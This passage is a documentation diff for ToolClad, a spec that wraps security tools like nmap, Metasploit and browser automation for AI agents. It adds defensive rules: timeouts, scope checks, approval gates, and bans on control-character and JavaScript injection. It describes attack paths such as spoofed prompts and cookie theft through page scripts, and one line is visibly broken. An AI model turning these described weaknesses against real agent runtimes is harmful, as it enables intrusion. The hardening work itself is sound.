service = "-sT -sV --version-intensity 5" syn = "-sS --top-ports 1000" ``` -The template references the mapped value as `{_scan_flags}` (derived from `scan_type`). The naming convention: `_{arg_name}_flags` or a custom name declared in the mapping. +The command references the mapped value as `{_scan_type_flags}`, derived from the +argument name. `_{arg_name}_flags` is the only recognized spelling — there is no +custom-name mechanism, and no implementation may register aliases. ### Conditional Sections @@ -574,12 +848,36 @@ Tools like Metasploit, complex Python scanners, and shell wrappers frequently sp | Platform | Create Group | Kill Group | |----------|-------------|------------| -| Rust | `cmd.process_group(0)` | `libc::killpg(pid, SIGKILL)` | -| Go | `SysProcAttr{Setpgid: true}` | `syscall.Kill(-pid, SIGKILL)` | -| Python | `preexec_fn=os.setpgrp` | `os.killpg(os.getpgid(pid), SIGKILL)` | -| Node.js | `detached: true` | `process.kill(-pid, 'SIGKILL')` | - -This prevents zombie process accumulation in long-running agent containers. All four reference implementations enforce process group kill. +| Rust | `cmd.process_group(0)` | `libc::killpg(pid, SIGTERM)` then `SIGKILL` | +| Go | `SysProcAttr{Setpgid: true}` | `cmd.Cancel` → `syscall.Kill(-pid, SIGTERM)`, `cmd.WaitDelay` → `SIGKILL` | +| Python | `preexec_fn=os.setpgrp` | `os.killpg(os.getpgid(pid), SIGTERM)` then `SIGKILL` | +| Node.js | `detached: true` | `process.kill(-pid, 'SIGTERM')` then `'SIGKILL'` | + +The kill sequence is `SIGTERM` to the group, a grace period, then `SIGKILL` to +the group. The grace period is `TOOLCLAD_KILL_GRACE_MS`, default 2000 ms. An +immediate `SIGKILL` denies the tool any chance to flush partial evidence or +remove its own temporary files, so it is the second step, never the first. + +Two further requirements, each closing a way for a tool to outlive its +deadline: + +- **`timeout_seconds = 0` is refused at manifest load.** It must not mean "no + timeout". The default remains 60. +- **The deadline cannot depend on the output pipe closing.** A tool that leaves + a background child holding stdout keeps the pipe open past the deadline; an + implementation that waits on the pipe (Go's `cmd.Run()` without `WaitDelay`, + Node's `spawnSync`) never reaches its own kill path. Implementations MUST + bound the wait independently of the pipe: `cmd.WaitDelay` in Go, an async + `spawn` with a timer in Node, a polled `try_wait`/`communicate` deadline in + Rust and Python. + +A child that calls `setsid()` escapes the process group in every language. +Process groups are a cleanup mechanism, not a containment boundary; a runtime +that needs escape-proof cleanup must place the tool in its own cgroup (or an +equivalent job object) and kill that instead. + +Partial output captured before the kill is returned in the envelope with +`"status": "timeout"`, not discarded. --- @@ -797,7 +1095,34 @@ Unmapped fields pass through with the same name. This decouples the ToolClad con parser = "scripts/parse-outputs/parse-nmap-xml.py" ``` -Custom parsers receive the raw output file path as argv[1] and must emit JSON to stdout. The parser's output is validated against the declared `[output.schema]` before it reaches the agent. +A custom parser receives the raw output file path as argv[1] and must emit JSON +to stdout. Its output is validated against the declared `[output.schema]` before +it reaches the agent, and it runs under the same environment, cwd, timeout and +process-group rules as a tool. + +**The reference runtimes do not implement this.** Rather than accept a +`parser` value and silently ignore it — which produced unvalidated raw output +under a manifest that looked like it was parsing and checking — a `parser` that +is not one of the `builtin:*` names is **refused at manifest load**. A runtime +that wants custom parsers must execute them under the rules above; until then, +declaring one is a load error, not a no-op. + +### Output Size Limits + +```toml +[output] +max_bytes = 8388608 # default: 8 MiB +``` + +stdout and stderr are each capped at `max_bytes`. Capture stops at the cap, the +envelope carries `"output_truncated": true`, and the status is otherwise +unchanged. Without a cap, a tool pointed at a multi-gigabyte response or a host +that streams unbounded banners exhausts the runtime's memory, which is a denial +of service reachable from an agent-chosen argument. + +XML input containing `: "}` (the raw output is preserved +under `results.raw_output`) and sets the envelope status to `"schema_error"`. It +is never skipped: an implementation that cannot validate must fail, not pass +the output through. Each runtime bundles a JSON-Schema subset validator — no +optional dependency — supporting `type`, `properties`, `required`, `items`, +`additionalProperties` (boolean), `enum`, `minimum`, `maximum`, `minLength`, +`maxLength` and `pattern`; unknown keywords are ignored. + ```toml [output.schema] type = "object" @@ -964,6 +1298,8 @@ hash = "sha256" [session] startup_command = "msfconsole -q -x 'color false'" +# Matched only at line start after a runtime-generated sentinel echo — the far +# side controls this stream, so an unanchored prompt match is spoofable (S2). ready_pattern = "^msf[0-9].*> $" startup_timeout_seconds = 30 idle_timeout_seconds = 300 @@ -971,6 +1307,9 @@ session_timeout_seconds = 1800 max_interactions = 100 [session.interaction] +# Deprecated and treated as a no-op: the governing rules are S1 (control +# characters refused, exactly one terminator appended by the executor) and the +# command allow-list below. See Session and Browser Security Requirements. input_sanitize = ["injection"] output_max_bytes = 1048576 output_wait_ms = 2000 @@ -1228,12 +1567,16 @@ args.selector = { type = "string", required = true } [browser.commands.click] description = "Click an element by CSS selector" risk_tier = "low" -args.selector = { type = "string", pattern = "^[a-zA-Z0-9_.#\\[\\]=\"' >:()-]+$" } +# No quotes, backslash, backtick, parentheses or angle brackets: see S4. The +# selector is passed to CDP as an argument, never concatenated into JavaScript. +args.selector = { type = "string", pattern = "^[a-zA-Z0-9_.#\\[\\]= >:-]{1,256}$" } [browser.commands.type_text] description = "Type text into the focused element (works in cross-origin iframes)" risk_tier = "low" -args.text = { type = "string", sanitize = ["injection"] } +# `sanitize = ["injection"]` is deprecated here: the real rule is S1's +# control-character rejection, which the executor applies unconditionally. +args.text = { type = "string" } [browser.commands.submit_form] description = "Submit a form" @@ -1249,11 +1592,11 @@ risk_tier = "low" description = "Get network resource timing data for the current page" risk_tier = "low" -[browser.commands.execute_js] -description = "Evaluate JavaScript in page context" -risk_tier = "high" -human_approval = true -args.expression = { type = "string" } +# `execute_js` is deliberately absent from this manifest. Evaluating +# agent-supplied JavaScript in page context removes every structural guarantee +# browser mode provides, so the default posture is that the command does not +# exist (see S5). A deployment that genuinely needs it declares it explicitly +# with risk_tier = "critical" and human_approval = true, and gates every call. [browser.commands.wait_for] description = "Wait for an element to appear" @@ -1633,6 +1976,132 @@ when { --- +### Session and Browser Security Requirements (Normative) + +Session and browser mode are specified here but **not executable in any +reference runtime** — the manifests parse and validate, and the executors +refuse to run them. These requirements bind any runtime that does implement +them (the Symbiont executor is the first). They exist because a typed contract +over a PTY or a CDP socket has failure modes that the oneshot rules do not +cover. + +#### S1. Session input is a line, not a blob + +A `[session.commands.*].pattern` such as `^set [A-Za-z0-9_]+ .+$` admits every +C0 and C1 control byte, so `.+` can carry `\x03` (interrupt), `\x04` (EOF), +`\r` (a second line to the line discipline), or an `\x1b]` OSC sequence that +rewrites the operator's terminal when the transcript is displayed. A +Python-style `$` additionally admits a trailing `\n`. + +Implementations MUST, before matching the pattern: + +- reject any C0 control character (U+0000–U+001F) and U+007F anywhere in the + input, including `\r`, `\n`, `\t`, `\x03`, `\x04`, `\x1a`, and `\x1b`; +- reject C1 control characters (U+0080–U+009F) and the Unicode line/paragraph + separators U+2028 and U+2029; +- anchor the pattern to the whole string (`^(?:pat)$`, or `\Z` in Python so a + trailing newline cannot match); +- append **exactly one** line terminator themselves when writing to the PTY. + The manifest never carries the terminator and the agent can never supply one. + +#### S2. `ready_pattern` must be sentinel-anchored + +`ready_pattern` is matched against bytes the far side controls. A `psql` row, a +Metasploit module banner, or a file listing can contain `analytics_db=>` and +convince the executor that the prompt has returned, framing the next command's +output around attacker-chosen boundaries. + +Implementations MUST: + +- generate a fresh, unguessable sentinel per interaction (at least 128 bits, + rendered as hex), arrange for the remote side to echo it (for example by + setting the prompt to include it, or by sending a benign echo command), and + treat the interaction as complete only after the sentinel is seen; +- match `ready_pattern` only at the start of a line **after** the sentinel; +- never treat a `ready_pattern` match inside captured output as a frame + boundary; +- bound the wait with `output_wait_ms` and the byte budget with + `output_max_bytes`, and mark the result truncated rather than resynchronizing + on a pattern. + +#### S3. `input_sanitize` is replaced by the control-character rule + +`input_sanitize = ["injection"]` applies the shell metacharacter blocklist to +text that is never going to a shell. It is simultaneously too strong for +legitimate input (`$` in a SQL string, `|` in a regex, `!` in prose) and +irrelevant to the real risk, which is S1's control characters plus the +command-pattern allow-list. Implementations MUST apply S1 unconditionally and +SHOULD treat `input_sanitize` as a no-op kept for manifest compatibility. It is +deprecated. + +#### S4. Selectors are arguments, never concatenated JavaScript + +The browser `click` selector pattern in this document +(`^[a-zA-Z0-9_.#\[\]="' >:()-]+$`) admits `'`, `"`, `(` and `)`. A runtime that +builds `document.querySelector('').click()` as a string and evaluates +it therefore has script injection in the page context. + +Implementations MUST: + +- never interpolate a selector, text value, or URL into a JavaScript source + string; +- pass every value as an argument — `Runtime.callFunctionOn` with + `arguments: [{ value: selector }]`, or the equivalent CDP + `DOM.querySelector` / `Input.dispatchKeyEvent` calls that take the value as + structured data; +- reject `'`, `"`, backslash, backtick, `<`, `>` and control characters in the + selector grammar, and bound its length. + +#### S5. `execute_js` is not a default command + +A command that evaluates agent-supplied JavaScript in page context removes +every structural guarantee browser mode provides: it can read any DOM, exfiltrate +cookies reachable from script, and reach same-origin internal endpoints. It MUST +NOT appear in a default or example manifest. Where a deployment genuinely needs +it, it must be declared explicitly with `risk_tier = "critical"`, +`human_approval = true`, and a policy gate decision per invocation; the default +posture is that the command does not exist. + +#### S6. URL scope must cover every navigation surface + +This document specifies scope enforcement for navigation, redirects, and link +clicks. That is not the full set of ways a page reaches a URL. A conforming +implementation MUST apply the domain allow-list and the `block_internal` range +policy to all of: + +| Surface | Requirement | +|---|---| +| Top-level navigation | Check before the request is issued | +| Redirects (3xx, meta refresh, `history.pushState`) | Re-check each hop; no implicit trust from the first check | +| Subframes and nested iframes | Check per frame, not only the main frame | +| `fetch` / `XMLHttpRequest` / `EventSource` | Intercept and check, or block entirely | +| WebSocket and WebRTC | Check the handshake host, or block entirely | +| Popups, `target=_blank`, and new CDP targets | Inherit the parent's scope; never attach an unscoped target | +| Service workers and `importScripts` | Check, or disable service workers | +| `file:`, `data:`, `blob:`, `javascript:`, `about:` | Always refuse as navigation targets | +| DNS rebinding | Resolve once, pin the address for the connection, and re-check on every new connection | +| Downloads | Refuse by default; when enabled, confine to the evidence directory with a size cap | +| `` | Refuse by default; never let a selector-driven command choose a host path | +| Clipboard read/write | Refuse by default | +| CDP endpoint | Bind to loopback, require a per-session token, and refuse `connect = "live"` against an endpoint the runtime did not start unless the operator opts in | + +#### S7. Child sessions are never registered from tool output + +`[session.child_detection]` as described above registers a new tool contract when +a regex matches the **tool's own output**. Output is attacker-influenced in +exactly the cases this feature targets (a scanned host chooses what a banner +says, a compromised host chooses what a shell prints), so a match is not +evidence that a child context exists. Implementations MUST NOT create, register, +or route to a child session on the strength of an output match alone. A child +context may be registered only when the runtime itself observes it through a +channel the far side does not control (a new PTY file descriptor it opened, a +CDP `Target.targetCreated` event for a target it attached), and the child's +contract must come from a manifest resolved at load time, never from a path or +type named in the matched output. Policy inheritance remains strictly +narrowing: a child can never hold a capability its parent lacks. + +--- + ## Symbiont Integration ### Runtime Discovery @@ -1723,11 +2192,6 @@ Generates: "type": "string", "enum": ["ping", "service", "version", "syn"], "description": "Type of scan to perform" - }, - "extra_flags": { - "type": "string", - "description": "Additional nmap flags (must pass Gate approval)", - "default": "" } }, "required": ["target", "scan_type"] @@ -1830,9 +2294,50 @@ ProposedAction ### Scope Enforcement -Any parameter with type `scope_target`, `url` (with `scope_check = true`), `cidr`, or `ip_address` is automatically validated against the project's scope definition (`scope/scope.toml`). This replaces the `source /app/scripts/scope-check.sh; validate_scope` pattern in every wrapper script. +A parameter of type `scope_target`, `url`, `cidr`, or `ip_address` that sets +`scope_check = true` is validated against the project's scope definition +(`scope/scope.toml`). This replaces the +`source /app/scripts/scope-check.sh; validate_scope` pattern in every wrapper +script. + +`scope_check` is the opt-in that turns the type's *shape* check into an +allow-list check. A bare `scope_target` only asserts "this is shaped like a +host, IP, or CIDR"; it asserts nothing about whether the target is authorized. +Manifests that mean "in scope" must say `scope_check = true`. -The scope check runs in the executor, after Cedar authorization but before command execution. This is the defense-in-depth layer: even if a Cedar policy bug allows an out-of-scope target, the ToolClad type system catches it. +```toml +# scope/scope.toml +[scope] +allowed_domains = ["example.com", "*.example.com"] +allowed_cidrs = ["10.0.1.0/24"] +blocked_domains = [] +blocked_cidrs = [] +``` + +Discovery, in order: the path in `TOOLCLAD_SCOPE_FILE`, then `scope/scope.toml` +searched upward from the manifest's directory to the filesystem root. + +Semantics: + +- Enforcement is **fail-closed**. `scope_check = true` with no reachable scope + file refuses the call; it does not fall back to allowing the target. +- Blocked rules are evaluated first and always win. +- `"example.com"` matches that host exactly. `"*.example.com"` matches a strict + subdomain at any depth (`app.example.com`, `deep.sub.example.com`) but not the + apex `example.com`, and not a mere suffix such as `evil-example.com`. +- An IP argument matches when it is contained in an allowed CIDR. A CIDR + argument matches only when it is **fully contained** in one. +- For a `url`, the host is extracted and checked; the scheme and path are not + part of the scope decision. + +The scope check runs in the executor, after Cedar authorization but before +command execution. This is the defense-in-depth layer: even if a Cedar policy +bug allows an out-of-scope target, the ToolClad type system catches it. + +Scope is a separate control from the egress policy. `block_internal` refuses +non-public addresses whether or not they are in scope; `scope_check` refuses +addresses outside the engagement whether or not they are public. A tool that +dials the network wants both. #### Cross-Language Scope Validation Consistency @@ -1840,7 +2345,14 @@ Scope validation involves non-trivial logic: CIDR containment math, IPv4/IPv6 no To mitigate this: -1. **Normative test vectors**: The `tests/scope_vectors.json` file contains a shared set of test cases (IP-in-CIDR, wildcard matching, edge cases) that all implementations MUST pass. Adding a new scope rule requires adding test vectors first. +1. **Normative test vectors**: `tests/scope_vectors.json` holds the scope cases + (IP-in-CIDR, wildcard matching, edge cases) and + `tests/injection_vectors.json` holds the argument and manifest rejection + cases (option injection, quote breakout, URL schemes, SSRF literals, + obfuscated IPs, unknown manifest keys). Every implementation MUST execute + both files in its own test suite. Adding a new rule requires adding vectors + first — a rule that only one runtime enforces is the drift this section + exists to prevent. 2. **Centralization path**: For production deployments where four independent validators are unacceptable, the Symbiont runtime provides a single scope validation endpoint (gRPC/HTTP) that client-side executors call. Alternatively, a single Rust-based scope library can be compiled to WebAssembly (Wasm) for use by Python/JS/Go implementations via FFI bindings. --- @@ -2130,6 +2642,21 @@ The 80/20 split from symbi-redteam confirms this: ~14 of 19 tools are pure templ ## Changelog +### Unreleased + +Security hardening of the reference runtimes; the full list, keyed by review +finding (TC-1 to TC-23), is in `CHANGELOG.md`. Normative changes to this +document: tokenize-then-substitute as the only legal command construction +order, deprecation of `template`, argument hygiene (whitespace, quotes, +control characters, leading dash, anchored patterns), the single `url` +validator, egress safety (`block_internal` semantics, CIDR overlap, DNS +resolution, internal names, `network_egress`), refusal of unknown manifest +keys, fail-closed scope and output-schema validation, the policy gate seam, +the process environment, the `SIGTERM`-grace-`SIGKILL` timeout sequence, and +the Session and Browser Security Requirements (S1-S7). The v0.5.2 entry below +claimed full feature parity across the four runtimes; that was not accurate +at the time, and the shared vector files in `tests/` now enforce it. + ### v0.5.3 (2026-04-03) - **`exec` array format**: Added `exec = ["cmd", "arg1", "{placeholder}"]` as preferred command construction form. Maps directly to `execve`/`os.exec` without shell interpretation or string splitting. Values with spaces/quotes are safe. All four implementations updated. Legacy `template` string form remains supported. diff --git a/docs/api-reference.md b/docs/api-reference.md index 3e2a608..1a8c907 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -43,7 +43,7 @@ println!("{}", serde_json::to_string_pretty(&schema)?); #### `validator::validate_arg(name, def, value) -> Result<()>` -Validate a single argument value against its type definition. Returns `Ok(())` if valid, or an error describing the validation failure. +Validate a single argument value against its type definition. Returns `Ok(())` if valid, or an error describing the validation failure. This entry point validates in **template mode**: whitespace is always rejected, regardless of `allow_whitespace`. ```rust use toolclad::types::ArgDef; @@ -60,6 +60,10 @@ assert!(toolclad::validator::validate_arg("scan_type", &def, "ping").is_ok()); assert!(toolclad::validator::validate_arg("scan_type", &def, "exploit").is_err()); ``` +#### `validator::validate_arg_mode(name, def, value, mode) -> Result<()>` + +Same as `validate_arg`, with an explicit validation mode. The mode is either *template* (strict; whitespace always rejected) or *exec* (honors `allow_whitespace = true`). The executor passes exec mode only when the manifest declared `command.exec` directly; a `template` compiled to `exec` at load is still template mode. All other hygiene rules (NUL, control characters, quotes/backslash, leading dash) and the host/IP policy apply in both modes. + #### `validator::validate_arg_with_custom_types(name, def, value, custom_types) -> Result<()>` Validate a single argument value against its type definition, resolving custom types from a loaded `toolclad.toml`. If the type is not a built-in type, it is looked up in `custom_types` and validated against the base type with any additional constraints. @@ -71,7 +75,7 @@ toolclad::validator::validate_arg_with_custom_types("service", &def, "ssh", &cus #### `load_custom_types(path) -> Result>` -Load custom type definitions from a `toolclad.toml` file. Returns a map of type name to definition (base type + constraints). +Load custom type definitions from a `toolclad.toml` file. Returns a map of type name to definition (base type + constraints). The CLI discovers `toolclad.toml` by walking up from the manifest's directory; library callers that want the same behavior should do the same walk before calling `validate_arg_with_custom_types`. ```rust let custom_types = toolclad::load_custom_types("toolclad.toml")?; @@ -96,7 +100,7 @@ let cmd = toolclad::executor::build_command(&manifest, &args)?; #### `executor::execute(manifest, args) -> Result` -Validate arguments, construct the command, execute with timeout, parse output, and return the evidence envelope. +Validate arguments, run the **default policy gate**, construct the command, execute with timeout, parse output, and return the evidence envelope. The default gate denies when `tool.human_approval` is `true` or `tool.risk_tier` is `high` or `critical`; the error message starts with `policy gate denied: `. ```rust use std::collections::HashMap; @@ -144,6 +148,31 @@ Notes: - **`Arc` the manifest.** Cloning a full `Manifest` into each blocking task is wasteful; wrap it in `Arc` at load time and `Arc::clone` per invocation. - **Three nested `Result`s.** The outer one is the `tokio::time::timeout` verdict (`Err` = timed out). The middle is the `JoinHandle` (`Err` = task panicked). The inner is the ToolClad result. Handle all three. +#### `executor::execute_with_gate(manifest, args, gate) -> Result` + +Like `execute`, but with a caller-supplied gate: + +``` +GateDecision = Allow | Deny(reason) +Gate = fn(&Manifest, &validated_args) -> GateDecision +``` + +The gate runs after argument validation and before anything is spawned. Use it to wire an approval workflow or an external policy engine (Cedar evaluation is not performed by the library). `default_gate` is the gate `execute` uses. + +```rust +let result = toolclad::executor::execute_with_gate(&manifest, &args, |m, _validated| { + if m.tool.human_approval && !operator_has_approved(&m.tool.name) { + toolclad::executor::GateDecision::Deny("awaiting operator approval".into()) + } else { + toolclad::executor::GateDecision::Allow + } +})?; +``` + +#### `executor::execute_approved(manifest, args) -> Result` + +Like `execute`, with an allow-all gate. This is what `toolclad run --approve` calls. Use it only after the approval has been obtained elsewhere. + #### `executor::dry_run(manifest, args) -> Result` Validate arguments and construct the command without executing. Returns the command that would be run plus validation details. @@ -186,8 +215,13 @@ Tool metadata from the `[tool]` section. | `binary` | `Option` | Executable path (oneshot/session) | | `mode` | `Option` | `"oneshot"` (default), `"session"`, or `"browser"` | | `description` | `String` | Human-readable description | -| `timeout_seconds` | `u64` | Execution timeout | -| `risk_tier` | `String` | `"low"`, `"medium"`, `"high"`, or `"critical"` | +| `timeout_seconds` | `u64` | Execution timeout; must be greater than zero | +| `risk_tier` | `String` | `"low"`, `"medium"`, `"high"`, or `"critical"`; `high`/`critical` are denied by the default gate | +| `human_approval` | `bool` | Denied by the default gate when `true` | +| `network_egress` | `bool` | Forces `block_internal = true` on every network-target arg at load | +| `allow_interpreter` | `bool` | Permits an interpreter as `argv[0]` | +| `dispatch` | `String` | `"exec"` (default) or `"callback"` | +| `limits` | `Option` | `[tool.limits]` rlimits (applied in Rust and Python only) | #### `ArgDef` @@ -204,6 +238,12 @@ Parameter definition from `[args.*]`. | `min` | `Option` | Minimum value (for `integer` type) | | `max` | `Option` | Maximum value (for `integer` type) | | `clamp` | `bool` | Clamp out-of-range values instead of rejecting | +| `min_float` / `max_float` | `Option` | Bounds for the `number` type | +| `schemes` | `Option>` | Allowed URL schemes (default `http`, `https`) | +| `scope_check` | `bool` | Check against `scope/scope.toml` (fail-closed) | +| `block_internal` | `bool` | Apply the private-range policy and DNS resolution | +| `allow_whitespace` | `bool` | Permit whitespace (exec mode only) | +| `allow_leading_dash` | `bool` | Permit a leading `-`/`+` | | `description` | `String` | Human-readable description | #### `EvidenceEnvelope` @@ -212,7 +252,7 @@ Execution result with metadata. | Field | Type | Description | |-------|------|-------------| -| `status` | `String` | `"success"` or `"error"` | +| `status` | `String` | `"success"`, `"error"`, `"timeout"`, `"schema_error"`, `"client_error"`, `"server_error"`, `"redirect_blocked"`, or `"delegation_preview"` | | `scan_id` | `String` | Unique invocation identifier | | `tool` | `String` | Tool name | | `command` | `String` | Constructed command string | @@ -221,7 +261,7 @@ Execution result with metadata. | `exit_code` | `i32` | Process exit code | | `stderr` | `String` | Standard error output | | `output_hash` | `String` | SHA-256 hash of raw output | -| `results` | `Value` | Parsed and validated output | +| `results` | `Value` | Parsed and validated output; on `schema_error`, `{"schema_error": ..., "raw_output": ...}` | --- @@ -261,6 +301,12 @@ validate_arg(arg_def, "ping") # OK validate_arg(arg_def, "exploit") # raises ValueError ``` +`validate_arg` validates in template mode (whitespace always rejected). + +#### `validate_arg_mode(arg_def, value, mode) -> None` + +Same as `validate_arg` with an explicit mode: template (strict) or exec (honors `allow_whitespace = True`). The executor uses exec mode only for manifests that declare `command.exec` directly. + #### `build_command(manifest, args) -> list[str]` Construct the command argument array without executing. @@ -273,9 +319,13 @@ cmd = build_command(manifest, {"target": "10.0.1.0/24", "scan_type": "service"}) print(cmd) # ["nmap", "-sT", "-sV", ...] ``` -#### `execute(manifest, args) -> dict` +#### `execute(manifest, args, *, gate=None, approve=False) -> dict` -Validate, construct, execute, parse, and return the evidence envelope. +Validate, run the policy gate, construct, execute, parse, and return the evidence envelope. + +- With no keyword arguments the **default gate** is used: it denies when `human_approval` is true or `risk_tier` is `high`/`critical`, raising an error whose message starts with `policy gate denied: `. +- `gate=` supplies a callable `(manifest, validated_args) -> GateDecision` (`Allow` or `Deny(reason)`) that replaces the default gate. Cedar evaluation is not performed by the library; wire it in here. +- `approve=True` uses an allow-all gate (what `toolclad run --approve` does). ```python from toolclad import load_manifest, execute @@ -283,6 +333,9 @@ from toolclad import load_manifest, execute manifest = load_manifest("tools/whois_lookup.clad.toml") result = execute(manifest, {"target": "example.com"}) print(f"Status: {result['status']}, Duration: {result['duration_ms']}ms") + +# Explicitly approved high-risk tool +result = execute(nikto_manifest, {"target": "example.com"}, approve=True) ``` ### Dataclass Types @@ -334,6 +387,22 @@ validateArg(argDef, "ping"); // OK validateArg(argDef, "exploit"); // throws Error ``` +`validateArg` validates in template mode (whitespace always rejected). Because synchronous DNS is not available in Node, `validateArg` **rejects a hostname** on an argument with `block_internal: true` (`hostname cannot be verified without DNS resolution; pass an IP literal or use validateArgAsync`); IP literals are checked synchronously. + +#### `validateArgMode(argDef, value, mode) -> void` + +Same as `validateArg` with an explicit mode: template (strict) or exec (honors `allow_whitespace: true`). + +#### `validateArgAsync(argDef, value) -> Promise` + +Asynchronous variant that resolves hostnames with `dns.promises.lookup({ all: true })` and applies the host/IP policy to every answer when `block_internal` is set. Use it wherever a hostname must be accepted under `block_internal`. + +```javascript +import { validateArgAsync } from "toolclad"; + +await validateArgAsync({ type_name: "scope_target", block_internal: true }, "example.com"); +``` + #### `buildCommand(manifest, args) -> string[]` Construct the command argument array without executing. @@ -346,9 +415,13 @@ const cmd = buildCommand(manifest, { target: "10.0.1.0/24", scan_type: "service" // ["nmap", "-sT", "-sV", ...] ``` -#### `execute(manifest, args) -> object` +#### `execute(manifest, args, { gate, approve }) -> Promise` -Validate, construct, execute, parse, and return the evidence envelope. +Validate, run the policy gate, construct, execute, parse, and return the evidence envelope. **`execute` is asynchronous** -- it spawns the child with `spawn` and a timer so the `SIGTERM`-then-`SIGKILL` sequence can run -- and must be awaited. + +- With no options the **default gate** is used: it denies when `human_approval` is true or `risk_tier` is `high`/`critical`, rejecting with an error whose message starts with `policy gate denied: `. +- `gate` is a function `(manifest, validatedArgs) => GateDecision` (`Allow` or `Deny(reason)`) replacing the default gate. Cedar evaluation is not performed by the library. +- `approve: true` uses an allow-all gate. ```javascript import { loadManifest, execute } from "toolclad"; @@ -356,8 +429,15 @@ import { loadManifest, execute } from "toolclad"; const manifest = loadManifest("tools/whois_lookup.clad.toml"); const result = await execute(manifest, { target: "example.com" }); console.log(`Status: ${result.status}, Duration: ${result.duration_ms}ms`); + +// Explicitly approved high-risk tool +const scan = await execute(nikto, { target: "example.com" }, { approve: true }); ``` +#### `executeSync` (deprecated) + +`executeSync` is kept as a deprecated alias that **throws** a clear error telling the caller to `await execute(...)`. It no longer runs anything; update call sites rather than catching the error. + #### `generateMcpSchema(manifest) -> object` Generate an MCP-compatible JSON Schema. @@ -372,7 +452,7 @@ console.log(JSON.stringify(schema, null, 2)); #### `executeHttp(manifest, args) -> object` -Execute an HTTP backend tool. Constructs the request from `[http]`, sends it, and returns the evidence envelope. +Execute an HTTP backend tool. Constructs the request from `[http]` (secrets expanded before arguments, URL values percent-encoded, body values JSON-escaped), sends it without following redirects, and returns the evidence envelope. Uses the built-in `fetch` with `redirect: "manual"`; nothing is passed through a child process, so headers and the URL never appear on any argv. `executeHttpSync` remains as a deprecated alias that returns the same Promise. ```javascript import { loadManifest, executeHttp } from "toolclad"; @@ -383,7 +463,7 @@ const result = await executeHttp(manifest, { channel: "C01234", message: "hello" #### `executeMcp(manifest, args) -> object` -Execute an MCP proxy tool. Validates arguments, maps fields, forwards to the upstream MCP server, and returns the evidence envelope. +Preview an MCP proxy call. Validates arguments, maps fields through `field_map`, and returns a `delegation_preview` envelope. **No upstream MCP server is contacted**; forwarding the call is the job of a hosting runtime. ```javascript import { loadManifest, executeMcp } from "toolclad"; @@ -425,7 +505,7 @@ func main() { #### `validator.ValidateArg(def ArgDef, value string) -> error` -Validate a value against an argument definition. +Validate a value against an argument definition, in template mode (whitespace always rejected). ```go import "github.com/ThirdKeyAI/ToolClad/go/pkg/validator" @@ -436,6 +516,10 @@ if err != nil { } ``` +#### `validator.ValidateArgMode(def ArgDef, value string, mode) -> error` + +Same as `ValidateArg` with an explicit mode: template (strict) or exec (honors `AllowWhitespace`). Under `block_internal`, hostnames are resolved with `net.DefaultResolver.LookupIPAddr` and a 2 s context; resolution failure is a rejection. + ### `executor` package #### `executor.BuildCommand(manifest, args) -> ([]string, error)` @@ -455,7 +539,7 @@ cmd, err := executor.BuildCommand(m, args) #### `executor.Execute(manifest, args) -> (*EvidenceEnvelope, error)` -Validate, construct, execute, parse, and return the evidence envelope. +Validate, run the default policy gate, construct, execute, parse, and return the evidence envelope. The signature is unchanged; the default gate denies when `human_approval` is true or `risk_tier` is `high`/`critical`, returning an error whose message starts with `policy gate denied: `. ```go import "github.com/ThirdKeyAI/ToolClad/go/pkg/executor" @@ -467,3 +551,9 @@ if err != nil { } fmt.Printf("Status: %s, Duration: %dms\n", result.Status, result.DurationMs) ``` + +#### `executor.ExecuteWithGate(manifest, args, gate) -> (*EvidenceEnvelope, error)` + +Like `Execute`, with a caller-supplied gate `func(*Manifest, map[string]string) GateDecision` (`Allow` or `Deny(reason)`). The gate runs after validation and before the spawn. Cedar evaluation is not performed by the library; wire it in here. `toolclad run --approve` uses an allow-all gate. + +Go cannot set child rlimits portably, so `[tool.limits]` is parsed but not applied by this runtime; the timeout kill sequence is implemented with `cmd.Cancel` (`SIGTERM` to the process group) and `cmd.WaitDelay` (the `SIGKILL` grace period). diff --git a/docs/browser-mode.md b/docs/browser-mode.md index c734302..68c7240 100644 --- a/docs/browser-mode.md +++ b/docs/browser-mode.md @@ -5,11 +5,14 @@ description: CDP browser mode for governed browser automation # Browser Mode +> **Status: parsed and validated, not executable by the reference runtimes.** +> The Rust, Go, JavaScript and Python runtimes in this repository load `[browser]` manifests, check every key against the manifest key allowlist, and serve `toolclad validate` and `toolclad schema` for them. They do **not** drive a browser: calling `execute` (or `toolclad run`) on a browser manifest is refused with `browser mode is parsed but not yet executable in the reference implementation`. Everything below describes the contract a hosting runtime such as Symbiont implements on top of the parsed manifest; none of the CDP, redirect-interception, or page-state behavior is enforced by the reference CLIs or libraries. What the reference runtimes *do* enforce at load: `[browser]` manifests are treated as `network_egress = true`, so every `url`/`scope_target`/`ip_address`/`cidr` command argument must set `block_internal = true` or the manifest is refused. + Browser mode manages browser sessions through direct CDP (Chrome DevTools Protocol) WebSocket connections. The governance model is identical to CLI session mode: typed commands, per-interaction Cedar gating, scope enforcement, state-aware policies, output schema validation, evidence capture. The transport is a browser engine instead of a PTY. --- -## `[tool.browser]` Configuration +## `[browser]` Configuration The `[browser]` section controls browser lifecycle and connection behavior. @@ -106,10 +109,10 @@ Each entry in `[browser.commands]` declares a permitted browser operation. Each [browser.commands.navigate] description = "Navigate a tab to a URL" risk_tier = "medium" -args.url = { type = "url", schemes = ["https"], scope_check = true } +args.url = { type = "url", schemes = ["https"], block_internal = true, scope_check = true } ``` -URLs are scope-checked against `[browser.scope]` before the CDP command fires. +`block_internal = true` is mandatory here: browser manifests count as network egress, and the manifest is refused at load without it. With `scope_check = true` the URL host is also checked against the project `scope/scope.toml` (fail-closed when no scope file is reachable). A hosting runtime additionally scope-checks URLs against `[browser.scope]` before the CDP command fires. #### `click` -- Click an element @@ -195,7 +198,7 @@ args.expression = { type = "string" } | Command | Description | Risk | Arguments | |---------|-------------|------|-----------| -| `navigate` | Navigate a tab to a URL | medium | `url` (url, scope-checked) | +| `navigate` | Navigate a tab to a URL | medium | `url` (url, `block_internal`, scope-checked) | | `click` | Click an element by CSS selector | low | `selector` (string) | | `type_text` | Type text into the focused element | low | `text` (string, injection-safe) | | `submit_form` | Submit a form | high | `selector` (string) | diff --git a/docs/cli-reference.md b/docs/cli-reference.md index 1e9f5e4..7c303df 100644 --- a/docs/cli-reference.md +++ b/docs/cli-reference.md @@ -18,9 +18,9 @@ npm install -g toolclad # JavaScript go install ./go/cmd/toolclad # Go (from source) ``` -### `toolclad validate ` +### `toolclad validate [--allow-unknown-keys]` -Parse and validate 